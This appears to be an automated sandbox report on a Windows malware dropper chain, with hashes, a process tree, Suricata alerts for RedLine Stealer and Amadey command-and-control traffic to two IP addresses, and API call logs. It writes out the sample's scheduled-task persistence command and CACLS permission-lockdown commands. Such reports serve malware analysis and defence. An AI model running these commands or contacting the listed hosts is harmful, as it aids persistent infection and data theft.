Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	June 26, 2023, 7:42 a.m.	June 26, 2023, 7:44 a.m.

Size	507.8KB
Type	PE32 executable (console) Intel 80386, for MS Windows
MD5	`83737fac22d88dc2efcde05dd1868c5d`
SHA256	`e0b8e9b6fa892fe9fd4dbd03d1ec87f32962b46f934bd189a6626b8bd0afc61a`
CRC32	`D3DD13D6`
ssdeep	`6144:eL9iq0q6Zwh24HVvsrln2yayYRrHKXxFkOlr+ZWvXsGTOnQDPkcI5UOCDrKv246k:eMq03zYRrHKBzlSi82OnQDeUzDRF0Ho8`
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description)

fotod95.exe "C:\Users\test22\AppData\Local\Temp\fotod95.exe"
884
- y2039413.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\y2039413.exe
  2092
  - k8985055.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\k8985055.exe
    2144
  - l5946987.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\l5946987.exe
    2600
- n0096414.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\n0096414.exe
  2864
  - rugen.exe "C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe"
    2976
    - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rugen.exe /TR "C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe" /F
      3044
    - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "rugen.exe" /P "test22:N"&&CACLS "rugen.exe" /P "test22:R" /E&&echo Y|CACLS "..\200f691d32" /P "test22:N"&&CACLS "..\200f691d32" /P "test22:R" /E&&Exit
      2112
      - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2288
      - cacls.exe CACLS "rugen.exe" /P "test22:N"
        2384
      - cacls.exe CACLS "rugen.exe" /P "test22:R" /E
        2256
      - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2688
      - cacls.exe CACLS "..\200f691d32" /P "test22:N"
        1676
      - cacls.exe CACLS "..\200f691d32" /P "test22:R" /E
        1896
    - foto172.exe "C:\Users\test22\AppData\Local\Temp\1000027051\foto172.exe"
      2824
      - x6553546.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\x6553546.exe
        2880
        
        f0242658.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\f0242658.exe
        2996
        
        g5744300.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\g5744300.exe
        2784
      - i5403218.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\i5403218.exe
        2932
    - fotod95.exe "C:\Users\test22\AppData\Local\Temp\1000028051\fotod95.exe"
      2052
      - y4623841.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\y4623841.exe
        2232
        
        k9465329.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\k9465329.exe
        2396
        
        l0176411.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\l0176411.exe
        2156
      - n2577836.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\n2577836.exe
        2904
    - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
      2620
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
77.91.68.63	Active	Moloch
83.97.73.131	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043233	ET MALWARE RedLine Stealer TCP CnC net.tcp Init	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 83.97.73.131:19071 -> 192.168.56.103:49165	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49165 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043233	ET MALWARE RedLine Stealer TCP CnC net.tcp Init	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 83.97.73.131:19071 -> 192.168.56.103:49184	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49180 -> 77.91.68.63:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.103:49180 -> 77.91.68.63:80	2044695	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M1	A Network Trojan was detected
TCP 192.168.56.103:49180 -> 77.91.68.63:80	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	A Network Trojan was detected
TCP 192.168.56.103:49180 -> 77.91.68.63:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 77.91.68.63:80 -> 192.168.56.103:49180	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 77.91.68.63:80 -> 192.168.56.103:49180	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 77.91.68.63:80 -> 192.168.56.103:49180	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 77.91.68.63:80 -> 192.168.56.103:49180	2015744	ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)	Misc activity
TCP 192.168.56.103:49180 -> 77.91.68.63:80	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	A Network Trojan was detected
TCP 192.168.56.103:49180 -> 77.91.68.63:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 77.91.68.63:80 -> 192.168.56.103:49180	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 77.91.68.63:80 -> 192.168.56.103:49180	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49184 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043233	ET MALWARE RedLine Stealer TCP CnC net.tcp Init	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 83.97.73.131:19071 -> 192.168.56.103:49191	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 77.91.68.63:80 -> 192.168.56.103:49180	2015744	ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)	Misc activity
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49191 -> 83.97.73.131:19071	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.103:49180 -> 77.91.68.63:80	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	A Network Trojan was detected
TCP 192.168.56.103:49180 -> 77.91.68.63:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 192.168.56.103:49180 -> 77.91.68.63:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 77.91.68.63:80 -> 192.168.56.103:49180	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (37 events)

Time & API	Arguments	Status	Return
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 26, 2023, 7:43 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (13 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 26, 2023, 7:42 a.m.			0	0
IsDebuggerPresent June 26, 2023, 7:42 a.m.			0	0
IsDebuggerPresent June 26, 2023, 7:42 a.m.			0	0
IsDebuggerPresent June 26, 2023, 7:42 a.m.			0	0
IsDebuggerPresent June 26, 2023, 7:42 a.m.			0	0
IsDebuggerPresent June 26, 2023, 7:42 a.m.			0	0
IsDebuggerPresent June 26, 2023, 7:42 a.m.			0	0
IsDebuggerPresent June 26, 2023, 7:42 a.m.			0	0
IsDebuggerPresent June 26, 2023, 7:43 a.m.			0	0
IsDebuggerPresent June 26, 2023, 7:43 a.m.			0	0
IsDebuggerPresent June 26, 2023, 7:43 a.m.			0	0
IsDebuggerPresent June 26, 2023, 7:43 a.m.			0	0
IsDebuggerPresent June 26, 2023, 7:43 a.m.			0	0

Command line console output was observed (50 out of 87 events)

Time & API	Arguments	Status	Return
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: alice sosalpbrqwzjkakjsak console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: alice sosalpbrqwzjkakjsak console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: alice sosalpbrqwzjkakjsak console_handle: 0x00000007	1	1
WriteConsoleW June 26, 2023, 7:42 a.m.	buffer: SUCCESS: The scheduled task "rugen.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW June 26, 2023, 7:42 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW June 26, 2023, 7:42 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\200f691d32\rugen.exe console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 26, 2023, 7:42 a.m.	buffer: u console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 51 events)

Time & API	Arguments	Status	Return
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005369d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005369d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005369d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005369d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00536998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00536998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00536998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00536998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00536998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00536998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00536998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00536a18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00536a18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00536bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00537318 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00537318 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005371d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059de90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
